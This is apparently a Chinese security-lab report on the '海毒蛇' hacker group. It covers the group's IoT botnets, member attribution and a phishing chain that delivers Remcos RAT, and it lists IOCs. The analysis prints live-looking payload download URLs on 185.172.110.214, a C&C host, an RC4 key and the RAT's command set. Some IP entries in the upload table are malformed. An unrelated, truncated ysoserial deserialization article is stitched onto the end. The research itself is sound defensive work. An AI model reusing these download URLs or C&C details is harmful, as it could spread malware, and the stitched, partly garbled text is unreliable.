通过对IP地址“104.219.248.49”的验证，确认其只是一个CDN服务的中转地址。黑客组织在域名服务商“NameCheap（见图3）”上注册了“plaitt.com”域名并购买了CDN服务，利用NameCheap的CDN服务来隐藏黑客组织的存储服务器。图4是其目前仍使用的一个注册自NameCheap的恶意文件托管服务器地址，该地址托管了黑客的木马中转器、恶意脚本文件以及窃密程序。
图3 NameCheap CDN页面
图4 目前仍存活的恶意文件托管服务器
至此，使用以上方法我们已经无法找出更进一步的线索，但是我们得到了更多样本和黑客的活动时间信息。因此，我们转而对8月份攻击活动的另外两个存储服务器（IP:185.172.110.210
和185.172.110.214）进行分析，并找到了“海毒蛇”对这两台服务器的使用记录，表格2为我们整理出来的恶意代码上传记录。
时间 | 服务器 | 文件名 | 平台 | 备注
---|---|---|---|---
2020-08-14 | 185.172.110.214 | dkhh/wit.jpg | windows | 加密的RemcosRAT
2020-08-14 | 185.172.110.214 | dkhh/venus.vbs | windows | 下载RemocsRAT的vbs
2020-06-01 | 185.172.110.214 | sensi.sh | linux | shellscript
2020-06-01 | 185.172.110.214 | AB4g5/kiga.spc | Linux spc | elf gafgyt
2020-06-01 | 185.172.110.214 | AB4g5/kiga.spc | Linux m68k(摩托罗拉) | elf gafgyt
2020-06-01 | 185.172.110.214 | AB4g5/kiga.spc | Linux arm | elf gafgyt
2019-08-23 | 185.172.110.214 | mips | Linux mips | elf gafgyt
2019-08-23 | 185.172.110.214 | mipsel | Linux mipsel | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.i686 | Linux i686 | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.armv7 | Linux arm | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.arm4l | Linux arm | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.spc | Linux spc | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.mpsl | Linux mpsl | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.m68 | Linux m68(摩托罗拉) | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.mips64 | Linux mips64 | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.armv6 | Linux arm | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.armv5 | Linux arm | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.mips | Linux mips | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.x86 | Linux x86 | elf gafgyt
2019-06-22 | 185.172.110.214 | wet.arm4tl | Linux arm | elf gafgyt
2020-08-04 | 185.172.110.210 | dkhh/jut.jpg | windows | 加密的RemcosRAT
2020-08-04 | 185.172.110.210 | dkhh/drop.vbs | windows | 下载RemocsRAT的vbs
2020-07-29 | 185.172.110.210 | focm/ceeold.exe | windows | AgentTesla
2020-07-29 | 185.172.110.210 | focm/artwokg.exe | windows | AgentTesla
2020-07-26 | 185.172.110.210 | bins/Tuna.sh | Linux | shellscript
2020-02-26 | 185.172.110.210 | bins/SSH.sh | Linux | shellscript
2020-02-26 | 185.172.110.210 | bins/Jaws.sh | Linux | shellscript
2020-01-05 | 185.172.110.210 | bins/Gpon.sh | Linux | shellscript
2019-10-14 | 185.172.110.210 | bins/Cloud.arm6 | Linux arm | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.sh4 | Linux sh4(日立微处理器) | elf mirai
2019-10-14 | 185.172.110.2107 | bins/Cloud.arm | Linux arm | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.m68k | Linux m68(摩托罗拉) | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.ppc | Linux ppc | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.mpsl | Linux mpsl | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.x86 | Linux x86 | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.arm | Linux arm | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.spc | Linux spc | elf mirai
2019-10-14 | 185.172.110.210 | bins/Cloud.arm5 | Linux arm | elf mirai
2019-10-14 | 185.172.110.210s | bins/Cloud.mip | Linux mip | elf mirai
表2 文件托管服务器上恶意文件列表
从表2中我们可以看出，“海毒蛇”组织长期保持着对物联网攻击的兴趣，他们在过去一年时间里持续使用Gafgyt、Mirai等物联网僵尸以获取物联网攻击资源。从物联网僵尸的上传记录来看，他们至少从2019年6月（这个时间应该会更早，因为我们并不能看到该黑客组织的所有基础设施的使用记录)开始就利用Gafgyt、Mirai等物联网僵尸入侵物联网设备，以构建僵尸网络。2020年7月，使用OneDrive云存储空间作为媒介向目标投放AgentTesla窃密木马。2020年8月，开始利用钓鱼邮件向各企业投放Remcos
RAT木马。这期间这些服务器同时依然存放着黑客的物联网攻击代码以供活跃的僵尸程序使用。
为了掌握更多的信息，我们加大了对该组织使用的物联网僵尸的收集，关联出1384个该组织使用的攻击样本，并通过ADLab物联网自动化分析平台对这些样本进行自动化分析，进一步关联出了100多个C&C服务器。分析结果表明，该组织以往几年常常利用华为HG532系列路由器漏洞CVE-2017-17215、爱尔兰公司“Eir”的D1000调制解调器TR064服务漏洞CVE-2016-10372、Realtek路由器漏洞CVE-2014-8361、D-Link
Devices HNAP SOAPAction-Header命令注入漏洞CVE-2015-2051、D-Link DSL-2750B
系统命令注入漏洞等主流的物联网设备漏洞攻击并控制设备。图5是某个样本的攻击代码片段。
图5 样本使用的物联网漏洞
我们对这些样本的活跃数量和活跃时间进行关联统计，绘制了物联网僵尸活跃时间分布图，见图6。从这批样本的攻击时间来看，至少从2018年1月开始，攻击者就开始利用Gafgyt、Mirai组建物联网僵尸网络，然后利用组建好的僵尸网络进行DDoS攻击牟利。2019年3月攻击开始活跃，2019年10月出现了一个小高峰，攻击的最高峰则出现在2020年8月。
图6 物联网僵尸的活跃时间分布图
攻击者通过弱口令爆破或者漏洞利用成功攻击路由器、调制解调器等物联网设备后，使用shellcode下载shell脚本，再通过shell脚本下载基于多个系统平台的Gafgyt、Mirai木马程序感染目标设备，进而利用这些木马组建庞大的物联网僵尸网络。如图7，攻击者曾在2020年6月利用Gafgyt变种向HooToo路由器（包含有远程命令执行漏洞CVE-2018-20841）发起过持续一个月的网络攻击活动。
图7 利用Gafgyt攻击HooToo路由器
2020年7月前后，攻击者扩展了攻击活动，其在恶意文件托管服务器上增加了新的目录用于存放AgentTesla木马，然后利用OneDrive云存储空间传播并向攻击目标投放该木马（见图8）。
图8 利用OneDrive云存储空间传播AgentTesla木马
紧接着在2020年8月前后，也就是我们在8月中旬发现的这起攻击事件前后，该攻击者又开始利用鱼叉式网络钓鱼邮件向商业公司投放带有漏洞利用（CVE-2017-0199、CVE-2017-8570）或恶意宏代码的诱饵文档，进而向目标投放Remcos
RAT木马。
“海毒蛇”黑客组织持有大量恶意域名和用于托管恶意文件的虚拟主机等网络基础设施，我们对掌握的该黑客组织持有的142个基础设施资源进行了地理位置分布统计，发现它们主要分布在21个国家和地区，其中分布较为密集的国家为荷兰、美国、加拿大、俄罗斯和德国，尤以“荷兰”和“美国”最为密集，分别是55个和31个，图9是我们绘制的
海毒蛇黑客组织基础设施全球分布图。
图9 海毒蛇黑客组织基础设施全球分布图
#### 2.3 攻击目标
从攻击目标上看，“海毒蛇”组织是以获取经济利益为目的，因此其攻击目标应该是不限制的。虽然其同时瞄准了物联网设备，但从使用的恶意代码上来看，应该主要以构建僵尸网络为目的，最终也是以提供攻击服务为目标，所以具体攻击目标是不受限制的。但是，近期开始活跃的定向攻击看起来是有一定目标导向的，比如上文提到的攻击者伪装成美国银行和美国大通银行发起的定向攻击,因此这里我们主要以此类攻击为主进行攻击目标的确定。通过对近期攻击事件的分析，我们得到了31种不同的诱饵文档。这些诱饵文档的攻击目标主要集中在金融机构、政府事业单位、精密仪器、酒店与旅游等相关实体。
图10 攻击目标
攻击目标包含著名的商业金融公司“ENGS”、政府事业机构“Huntsville Utilities”，精密仪器设计公司“Precision
Connector Design
(Pcd)”等等。攻击使用的诱饵文档大多以“保密协议”、“预算表”、“付款通知”、“采购订单”、“订单确认”、“住客名单”、“发票”和“汇款”等命名，使用了包含英语、德语、波兰语、保加利亚语、罗马尼亚语、葡萄牙语、加利西亚语、意大利语、西班牙语以及马耳他语等十多种语言，可以说攻击者的攻击目标遍布全球。诱饵文档的内容有如酒店订单图片、行政客户预订时间表、预算图片，也有故意模糊化以诱使目标用户启用宏查看更清晰的图片。图11是我们绘制的攻击目标语种分布图，从图中可以看到占比最大的分别是英语、葡萄牙语和西班牙语。
图11 攻击目标语种分布图
#### 2.4 黑客组织溯源
由于黑客的基础设施基本都做了隐私保护和CDN防护，在没有更进一步的数据和线索的情况下无法更深入地去深挖黑客组织。因此，我们希望从恶意代码入手来挖掘线索，寻找突破口，然后通过黑客对恶意代码的操作时间来做时区定位分析，确定黑客所在区域。
首先，该组织投放的诱饵文档是我们首要关注的，这些诱饵文档一般都是由黑客组织内部人员制作和分发。在恶意代码分析过程中，我们发现很多诱饵文档（大部分都是excel或者word文档）的创建者都来自同一个人——“Eng
Moha”。一般情况下，诱饵文档的创建者都是黑客伪造的，但如果黑客未做这方面的考虑，该名称就会是黑客主机的用户名。起初我们也没太注意这个信息，直到我们在其中一款恶意代码上发现实际有效的证据。该名称位于恶意代码中未被清除的PDB路径中（见图12），该路径中明确指示了制作该恶意代码的计算机用户名，那么可以肯定“Eng
Moha”就是“海毒蛇”黑客组织的关键成员。同时，我们还通过其他手段印证了该组织在制作、升级、修改和发布诱饵文档时，几乎都没有做诱饵文档的隐私数据处理。
图12 恶意代码中未被清除的PDB路径
编译时间也暗示我们该黑客是在2020年7月21日生成的该恶意代码，并在接下来的时间构建了一套完整攻击方案。接下来我们将“Eng
Moha”作为重要线索来追踪并得到了一批更广泛的攻击样本，通过分析确认这些样本采用的攻击手法和本次攻击非常相似。更重要的是我们在这批样本中找到了该黑客组织的其他成员（“mnb
joker”、“Lye Gomes”、“ Joselio Bonin”、“Emanoel Brito”和“aSmarany”等）。
这一系列攻击文档大部分都由“Eng Moha”创建，最早可追溯到2015年6月。通过创建时间溯源推断“Eng
Moha”制作了最初的攻击模板文件，然后将模板文件分发给其他成员，这些成员会对恶意文件进行配置并传播出去。我们为什么会将他们认定为同一组织的成员呢？主要有以下三个原因：
1）这些诱饵文档都是向攻击目标投放Remcos RAT和AgentTesla木马程序；
2）他们都使用了高度一致的多阶段嵌套下载技术和极为相似的加密和混淆脚本来投递木马；
3）这些诱饵文档被某个黑客创建的时间和被其他成员修改的时间非常接近。比如：攻击文件“Ostatnia notatka.docx”是“Eng
Moha”在2020/4/1 4:07创建的一个包含有漏洞（cve-2017-0199）的docx诱饵文档，而一分钟后，该文档就被“mnb
joker”编辑修改；另外一个攻击文件的文件信息显示“mnb joker”在2019/8/8
18:13创建一个包含恶意宏代码的ppt文档，一天后该文档又被“Joselio
Bonin”编辑。类似地我们找到了至少有5个黑客之间存在类似这样的关系，如表3。
诱饵文档名称 | 制作者 | 发布者 | 制作时间 | 配置时间
---|---|---|---|---
Ostatnia notatka.docx | Eng Moha | mnb joker | 3/10/20 22:23 | 3/10/20 22:24
Споразумение за неразгласяване.docx | Eng Moha | mnb joker | 3/11/20 23:41 |
3/11/20 23:42
Noul PO pentru AEC Amersham Pharma Ltd.docx | Eng Moha | mnb joker | 4/1/20
04:07 | 4/1/20 04:08
CNH.ppt | mnb joker | Joselio Bonin | 8/8/19 18:13 | 8/12/19 02:13
Order.dotm | mnb joker | aSmarany | 5/25/20 06:09 | 5/25/20 06:09
… | … | … | … | …
表3 黑客关联关系
经验表明，如果这个几名黑客属于不相干的组织关系或者产业链的上下游关系，他们操作同一个恶意代码的时间不会如此接近，最短时间甚至只差几分钟，同时攻击手法也不会如此相似，因此我们推断这几个关联出来的黑客属于同一个组织，并且他们都是“海毒蛇”组织的成员。同时可以肯定的是，“Eng
Moha”是该黑客组织负责漏洞利用和恶意代码编写的工程师，他为组织提供攻击代码，而其他成员负责维护基础设施、定制诱饵文档和攻击工具、分发和投放恶意代码等工作（见图13）。
图13 黑客成员协作关系图
更进一步的证据是，我们此后还发现这些黑客成员曾经使用同一个C&C服务器地址“gritodopovo.com.br”来控制恶意代码，当该C&C被曝光后，他们开始使用不同的经过隐私保护的域名作为C&C。此外，我们还发现这样的C&C服务器地址也曾经被APT组织Gorgon使用过，或许他们之间存在着某种关联，而且通过时区定位法发现他们同属于一个时区，但是我们依然没有证据证明两个组织之间的关系，因为他们的攻击目标和使用的武器差异都比较大。或许他们之间存在某种程度上的合作，那么极有可能“海毒蛇”组织和“Gorgon”APT组织一样位于巴基斯坦，后续我们会通过时区定位法来确定其所属的国家。（注：“Gorgon”APT组织是一个被认为来自巴基斯坦的攻击组织，在过去的2年里，该组织成员针对英国、西班牙、俄罗斯和美国的政府部门发动了一系列攻击）。
为了进一步确定“海毒蛇”组织所在的区域，我们对黑客的活动时间做了一个时区定位分析。首先我们尽可能多地收集了黑客基础设施上的文件创建时间、修改时间以及所有诱饵文档的原始时间，然后祛除日期信息保留时分秒信息，并将留取的时间数据归化成为UTC时间（见图14）。
图14 黑客活动时间分布
这里我们通过黑客活动时间来估算黑客可能的作息时间，以确定黑客所在地的时区。从图14中我们可以看出，黑客的休息时间主要集中在6:30到11:30，活动时间主要集中在11:30到19点之间(该分布时间是累积时间，即使黑客偶尔会打乱作息时间，但并不影响统计结果)。正常人晚上睡觉时间为23:30，起床时间为第二天凌晨6:30，那我们将这个时间映射到时区地图上便是深红色区域的国家（UTC+5时区左右，见图15），其中包括俄罗斯、巴基斯坦、哈萨克斯坦、乌兹别克斯坦、塔吉克斯坦等国家。
图15 黑客时区映射图
单纯通过时区定位法，我们是无法更进一步确认“海毒蛇”组织所在的具体国家的，但是从他们与来自巴基斯坦的“Gorgon”APT组织共用过同一个基础设施上来看，“海毒蛇”组织似乎位于巴基斯坦的可能性更大，我们此后还将持续跟踪，希望能够找到进一步的证据。
### 三、最新攻击案例分析
在此次攻击活动中，“海毒蛇”黑客组织使用了新型的恶意代码隐身技巧来隐藏恶意代码。在以往的此类攻击中，攻击者大多将恶意代码或数据存放在excel电子表格的单元格内容中隐藏显示，或者隐藏到VBA工程中的用户控件里，也有黑客将恶意代码放入文档的内建属性中。而在本次攻击中，黑客将恶意代码加密存放在了电子表格空白单元格的批注内容里，这种恶意代码隐藏方式在此类攻击中还是首次出现。恶意代码执行后，会通过多阶段的嵌套下载和解密执行来向受害者主机植入Remcos
RAT木马。攻击过程中下载的多个中间文件都进行了代码变形、数据加密和垃圾数据填充，这样处理后的文件能在很大程度上绕过Web应用防火墙、入侵检测系统等网络安全设备的检测。
我们将最新攻击的整个流程绘制成如图16所示：攻击者将带有恶意附件的钓鱼邮件发送给美国阿拉巴马州亨茨维尔市公共事业公司“Huntsville
Utilities”的员工，钓鱼成功后，附件中的恶意宏代码便会执行；恶意宏代码执行后会解密执行一个Powershell脚本，该脚本是一个下载器，其会从远程服务器下载一个恶意VBS文件；VBS文件执行后，同样会解密执行一个Powershell脚本，该脚本也是一个下载器，其会从远程服务器下载一个后缀为“.jpg”的恶意文件；该恶意文件并不是一个jpg格式的图片文件，而是经过字符变形和垃圾代码填充的Powershell脚本文件，该脚本文件执行后，会解密出内嵌在其中的两个PE文件并执行它们。这两个PE文件一个是Remcos
RAT木马，一个是用C#编写的经过混淆的Dll注入器文件，负责把Remcos
RAT木马注入到“RegAsm.exe”进程中执行。可以看到，攻击者使用了多阶段的嵌套下载和解密执行将木马植入到了受感染主机上，木马上线后会从攻击者控制的C&C服务请求指令来执行恶意操作。
图16 恶意攻击流程图
#### 3.1 诱饵邮件投递
此次攻击始于一封将来源伪装成“美国银行”的钓鱼邮件（见图17），此邮件是发送给美国阿拉巴马州亨茨维尔市公共事业公司“Huntsville
Utilities”的员工的。整个邮件看起来像是一个付款通知账单邮件：邮件以“美国银行美林付款通知”为主题，“电子转账付款账单-00130820”为诱饵文档名称，正文中简单描述了账单的支付方式和需要支付的金额，在邮件的末尾还提示这封邮件是发送给该公司的应收账款部门。
图17 钓鱼邮件
该诱饵文档被伪装成该公司8月份的付款通知账单，从诱饵文档打开后的内容（如图18所示）可以看到，整个excel表格仅包括一张图片，图片中的文字大意为：要想看到被保护的内容，需要启用宏选项。一旦受害者被诱骗启用了宏选项，恶意宏代码便会立即执行。
图18 恶意的邮件附件
#### 3.2 恶意宏代码执行
恶意代码被加密保存在诱饵文档excel表格的D500单元格的批注中（见图19）。在以往的此类攻击中，攻击者大多将恶意代码或数据存放在excel电子表格的单元格内容中隐藏显示,或者隐藏到VBA工程中的用户控件里，也有黑客将恶意代码放入文档的内建属性中。而在本次攻击中，攻击者将恶意代码加密存放在了电子表格空白单元格的批注内容里，这种恶意代码隐藏方式在此类攻击中还是首次出现。
图19 以文档批注形式存放的恶意代码
恶意宏代码执行后，会首先使用“.ActiveSheet.Range("D500").Comment.Text”函数读取D500单元格批注里面的恶意代码，然后调用自定义的“Reverse”函数逆序排列该恶意代码，最后调用自定义函数“eZoKg”启动Powershell进程执行该恶意代码（见图20）。
图20 恶意宏代码
最后执行的恶意代码是图21所示的一个Powershell脚本，不过该脚本执行的命令做了字符混淆处理。脚本在执行时先是将混淆过的字符串转换成字符数组，然后调用Reverse函数逆序排列该字符数组，再将逆序后的字符数组拼接成字符串，后面的操作是将字符串中的填充字符‘&’去掉再转化成16进制编码。经过这样的几步处理，执行命令就被还原出来了（见图22），从图22中我们可以看到该Powershell脚本实际上是一个下载器，它会从远程服务器<http://185.172.110.214/dkhh/venus.vbs>上下载一个VBS文件来执行。
图21 执行的恶意Powershell脚本
图22 还原后的执行命令
#### 3.3 恶意VBS文件执行
托管在远程服务器的VBS文件的部分内容见图23，可以看到该文件经过了字符混淆和代码加密。
图23 VBS文件
VBS文件经过字符去混淆和代码解密，最终执行的Powershell见图24，我们可以看到这段Powershell也是一个下载器。其先是使用ping
google.com的方式确定自身所在的受感染主机能够正常联网，然后调用Net.WebClient.DownloadString函数从远程服务器“http://185.172.110.214/dkhh/wit.jpg”上下载一个名为“wit.jpg”的文件。
图24 去混淆和解密后到Powershell
我们抓包得到的“wit.jpg”文件的部分内容见图25。可以看到文件数据经过了字符变形和混淆处理，这在很大程度上能够绕过Web应用防火墙、入侵检测系统等网络安全设备的检测，同时也增加了安全研究人员的分析成本。
图25 抓包得到的服务器返回的恶意代码
#### 3.4 恶意“jpg”文件执行
名为“wit.jpg”的文件并不是一个jpg格式的图片文件，而是经过字符编码和加密混淆后的Powershell脚本文件。图26是该脚本文件还原后的部分内容，我们可以看到，经过混淆和变形后的可执行PE文件数据是以字符串的形式存储在脚本代码中的。脚本执行后会解密出内嵌在其中的两个PE文件并执行它们。这两个PE文件一个是Remcos
RAT木马，另一个是C#编写的经过混淆的Dll注入器文件，其会将Remcos RAT木马注入到“RegAsm.exe”进程中执行，我们下文将对Remcos
RAT木马进行分析说明。
图26 还原后的Powershell脚本文件
#### 3.5 Remcos RAT木马分析
自2016年在暗网上的地下黑客社区开始出售以来，Remcos
RAT非常活跃，基本上每个月都会发布两个左右的新版本。其具有键盘记录、屏幕记录、调用摄像头和麦克风进行录像录音、远程执行Shell命令、远程执行脚本、上传文件以及下载文件等功能。该工具由一家名为Breaking
Security的公司发行出售，图27是Remcos RAT的官网界面。通过公开的信息可以发现，其已被黑客频繁地使用在各种攻击活动中。
图27 Remcos RAT的官网界面
此次攻击活动释放的Remcos RAT版本为Remcos Professional
2.6.0(见图28),该版本发布于2020年7月10日，目前Remcos RAT官网上最新的版本为2.7.1，发布于2020年9月14日。
图28 Remcos RAT的版本信息
Remcos
RAT木马将其“工作”需要用到的配置信息包括C&C服务器地址、网络通信加密的key、互斥对象名、licence编号，以及和截屏、录音操作等相关的其他信息，使用RC4算法加密存储在其PE资源名为“SETTINGS”的数据块中（见图29）。数据块由三部分组成，分别是key的长度、key和密文数据，图29中第一个字节0x66为key的长度，紧接着被选中蓝底的数据为key，最后是密文数据。
图29 资源中加密存储的配置信息
Remcos RAT木马运行后会提取并使用RC4算法解密这些配置信息，图30是Remcos RAT木马提取SETTINGS数据的代码部分。
图30 提取SETTINGS数据的代码部分
RC4算法中sbox的初始化操作代码见图31。
图31 RC4算法的sbox初始化操作代码
解密出来的配置信息如图32所示，配置信息包括C&C服务器地址“boyflourish.myq-see.com:46617”、网络通信加密的key“C4C3E3D83BE2B509C679E52AD999FFF8”、互斥对象名“Buddha-UL8D7Q”、licence编号“DCB9C483DA3351BB8231C303CAA1CA0F”以及和截屏、录音操作等相关的一些其他信息。
图32 解密出来的配置信息
Remcos RAT木马会创建互斥体对象“Buddha-UL8D7Q”（互斥对象名称来自上面解密出的配置文件），以保证受感染主机当前只运行一份自身的实例（见图33）。
图33 创建互斥体
Remcos
RAT木马会启动键盘记录线程来窃取受感染主机的键盘输入信息和剪切板数据。木马将窃取的这些信息保存在本地文件“%Appdata%\remcos\logs.dat”中。在以前的有些版本中logs.dat文件是加密的，不过在此次我们分析的这个版本中log.dat文件没有加密，数据的记录格式和之前的版本基本类似（如图34），木马后续会将收集到的这些记录日志发送到C&C服务器。
图34 记录日志文件内容
Remcos
RAT木马会收集受感染主机设备信息用于上线。收集的设备信息包括：受感染主机的用户名、CPU信息、操作系统名称、键盘记录日志完整路径、木马的完整路径和版本等等（如图35所示），木马会将收集到的以上信息加密发送到攻击者控制的C&C服务器进行上线，通信使用的加密算法为同为RC4，密钥为“C4C3E3D83BE2B509C679E52AD999FFF8”（来自前文解密出的配置文件）。
图35 收集感染主机信息上线
成功上线后，木马则等待C&C服务器下发控制指令以执行恶意功能。木马解析C&C服务器控制指令的代码片段见图36。这些控制指令的功能包括执行文件管理、进程管理、键盘记录、屏幕记录、调用摄像头和麦克风进行录像录音、远程执行Shell命令、远程执行脚本、上传下载文件，注册表操作、安装卸载远控等,我们将主要的控制命令和功能描述列在表4中。
图36 木马解析控制指令的代码片段
控制命令 | 功能描述
---|---
0x01 | 获取受感染主机最顶端程序标题
0x03 | 收集受感染主机所有已安装软件的相关信息，包括其软件供应商信息、版本信息、安装的路径信息、安装的日期等
0x04 | 从给定的URL下载文件并执行
0x05 | 接收从C&C服务器发送的文件并执行
0x06 | 收集受感染主机所有正在运行的进程信息
0x07 | 结束指定的进程
0x08 | 枚举所有的窗口并获取窗口标题
0x09 | 关闭指定的窗口
0x0A, 0x0B, 0xAD | 显示/隐藏指定的窗口
0x0C | 获取指定窗口的PID
0x0D | 执行指定的命令行命令
0x10 | 处理jpeg数据
0x11 | 关闭socket
0x12 | 收集键盘信息
0x13 | 启动在线键盘记录器
0x14 | 停止在线键盘记录器
0x15, 0x16 | 读取指定的文件并将其发送到C&C服务器
0x17 | 删除指定的文件或路径
0x18 | 清除IE、Firefox、Chrome等浏览器的登陆信息和cookie信息
0x1B | 控制受感染设备摄像头
0x1D | 记录受感染主机周围的声音信息并发送到C&C服务器
0x1E | 停止记录受感染主机周围声音信息
0x20 | 删除指定文件
0x21 | 结束木马自身进程
0x22 | 卸载自身，同时会移除木马产生的相关文件
0x23 | 执行vbs脚本“restart.vbs”来重启自身
0x24, 0x25 | 更新木马，该命令会从指定的URL下载文件并执行
0x26 | 在受感染主机显示信息
0x27 | 注销用户，关闭系统或重启感染主机
0x28 | 获取受感染主机剪切板数据
0x29, 0x2A | 清空受感染主机剪切板
0x2B | 创建一个共享内存来共享数据
0x2C | 从指定的URL下载数据并将数据共享到创建的共享内存中
0x30 | 连接给定的服务器并与之通信
0x31 | 在注册表中保存用户名
0x32 | 设置代理
0x34 | 执行服务控制，包括更改指定服务配置，启动、暂停、终止指定服务，将指定的服务状态返回给C&C服务器
0x8F | 枚举指定路径的文件，并将文件列表发送给C&C服务器
0x92 | 设置受感染主机桌面图片风格
0x94 | 修改指定窗口标题
0x95 | 获取实时物理内存状态并报告给C&C服务器
0x98 | 向C&C服务器上传文件或从C&C服务器下载文件
0x9E, 0xA2 | 在感染主机播放警告声音
0xA3 | 控制受感染主机播放或者停止音频文件
0xAB | 在受感染主机上提权，并将结果返回到C&C服务器
0xAC | 在受感染主机显示弹出菜单
表4 C&C服务器的控制命令和功能描述
可见，一旦Remcos RAT被成功植入到目标主机，其背后的黑客便可完全控制这台主机，对其进行监控、数据窃取甚至是破坏活动。
### 四、总结
本文中，我们对“海毒蛇”组织使用的基础设施、攻击武器、活动历史等信息进行了全面而深入的分析，并结合活动时间分析以及时区分析等方法对该组织的成员及其所属国家进行溯源追踪，发现了其中的六名黑客成员并分析了该组织与“Gorgon”APT组织之间的关系，最后我们对最近出现的一次攻击进行了详细的逆向分析。
从我们分析的结果来看，“海毒蛇”组织持有大量恶意域名和用于托管恶意文件的虚拟主机等网络基础设施，同时还利用物联网僵尸控制大量的物联网设备，其同时具备APT攻击和物联网攻击的特性。在最近的这次攻击活动中，黑客还定制了大量的具有迷惑性的诱饵文档来捕获目标。“海毒蛇”组织善于使用加密和变形的恶意脚本来躲避Web应用防火墙、入侵检测系统等网络安全设备的检测，其恶意脚本通过多阶段的嵌套下载和解密执行，以从远程服务器下载更多的恶意程序执行。
鱼叉式钓鱼具有定制化、精准化的特性，且具有很强的迷惑性，一旦员工不慎点击了钓鱼邮件，就可能会对企业带来严重的后果。黑客可以将窃取到的数据转售谋利，或者利用这些数据进行更进一步的攻击活动。除此之外，攻击者还可以使用鱼叉式钓鱼攻击部署恶意软件来劫持计算机，将目标计算机所在的网络变成可用于DoS攻击的庞大僵尸网络。建议企事业单位不定期为员工举办安全教育培训，提升员工的安全防范意识。务必注意不要随意打开未知来源的电子邮件，特别是带有附件的电子邮件。如有需要，可通过打开office文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行。并做好邮件系统的防护工作，督促员工及时更新系统和office应用补丁。如果发现系统或服务器出现异常，应当及时报告并请专业人员进行排查，以消除安全隐患。
### 五、IOC
部分IOC列举如下：
Hash | 说明
---|---
c1ad13e65ca16578fe507339eb92ee40 | 诱饵文档
b687bbc1c9ab0d3b2313766d38b3db61 | vbs脚本
f2dbb624c007f0d041f6646638f4976d | Powershell
71ebdb4ebcef964c45193e2df0968ade | 注入器
31539c9ae3f23ef851ca6e9a3c59227e | Remcos RAT
d77e6878fe18848abd4264ed7641ad33 | 诱饵文档
085f0912018f137fc35173a2f118712b | Remcos RAT
2f0126e9145e12a1e9b498ca55d3a245 | 诱饵文档
c8fdf886ae4301918b79995330634a37 | vbs脚本
e5a478872b61c8b4ff309d38954874b9 | Powershell
143c76586eb02d515ae68046c34849fe | 注入器
dc295718025e3cc7013db7df026ad3ad | Remcos RAT
6da083f6d4ddda45cc06b257ea43e6de | 下载器
95dac87cec4a40d4626ee710402c1d70 | Powershell
3da5021331de7a4593219b93fe9ac5ba | Masslogger
0a4fa8c861ed733b116ce6ed790629d0 | Powershell
4f00af0f16b5010ba7a0c4ecca7312b0 | Powershell
eb1ac927ff3f3a9f2230cb4138389fe7 | Mirai
db23c3dbb5d21d6daab22c548a3b6522 | Mirai
4703788977bd0d98d41531766fa91e98 | Gafgyt
f63a7d569c019de1f0ff401c4cc22b41 | Gafgyt
…… |
IP和域名 | 说明
---|---
185.172.110.214 | 恶意文件托管服务器
185.172.110.210 | 恶意文件托管服务器
185.244.30.243 | C&C服务器
79.134.225.32 | C&C服务器
boyflourish.myq-see.com | C&C服务器
rapture666.myq-see.com | C&C服务器
plaitt.com | 恶意文件托管服务器
…… |
* * * | 社区文章 |
**作者：天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/FdZ9nVjyLGV7eEbYtcm4sg>**
## ysoserial简介
ysoserial是一款在Github开源的知名java 反序列化利用工具，里面集合了各种java反序列化payload；
由于其中部分payload使用到的低版本JDK中的类，所以建议自己私下分析学习时使用低版本JDK JDK版本建议在1.7u21以下。
此篇文章为java反序列化系列文章的第一篇Groovy1
原理分析，后续会以ysoserial这款工具为中心，挨个的去分析其中的反序列化payload和gadget，讲完该工具后会继续对工具中没有的java
反序列化漏洞进行讲解，例如 FastJson
JackSon，WebLogic等等，并将这些漏洞的exp加入到ysoserial中然后共享和大家一起学习交流。
源码下载地址 <https://codeload.github.com/frohoff/ysoserial/zip/master>
jar包下载地址
<https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar>
## 源码深度解析
我们首先看一下该payload的整个源码
代码量其实很少，但是调用了一些别的类中的方法，看起来可能不是太直观，我将调用方法中所做的操作都写到一个类的main方法中这样看起来应该会更好理解一些。
先写一个简化版的可以执行代码的Demo
直接运行的话会执行我们预先设定好的命令，调用计算器
但是这短短几行代码里我们并没有调用Runtime对象的exec方法亦或着ProcessBuilder对象的star方法来执行命令，我们仅仅调用了一个Map对象的entrySet()方法，怎么就可以执行命令了呢？
对java有些许了解的同学应该熟悉Map.Entry是Map里面的一个接口，主要用途是来表示Map对象中的一个映射项也就是一个
并提供了一下五个方法,通常我们会使用`map.entrySet().iterator()`，方法得到一个Iterator对象从而对Map中的Entry对象进行遍历，那为何一个获取遍历对象的操作会导致代码执行呢？这里就涉及到这个Map对象究竟是哪一个实现了Map接口的类来实例化的。
首先我们先来看看这个map变量里面保存的是什么
居然是一个代理对象，这里就要涉及到java的一个知识点，就是所谓的动态代理。动态代理其实不难理解，可以写个简单的例子,以下是这个例子的代码。
我们可以看到我们写了一个Son类继承了Father接口，然后在Test3类中的main方法中被实例化，接下来我们通过Proxy的`newProxyInstance`方法生成了一个Son对象的代理，我们传递了三个参数进去，Son类的类加载器和实现的接口，这里注意被代理的对像是一定要实现至少一个接口的，因为实例化的代理类本身是继承了Proxy类，所以只能通过实现被代理类接口的形式来实例化。最后我们通过匿名内部类的形式传入了一个`InvocationHandler`对象，`InvocationHandler`是一个接口，该接口中只有一个方法就是invoke方法，所以我们一定要重写该方法。
然后我们看执行结果
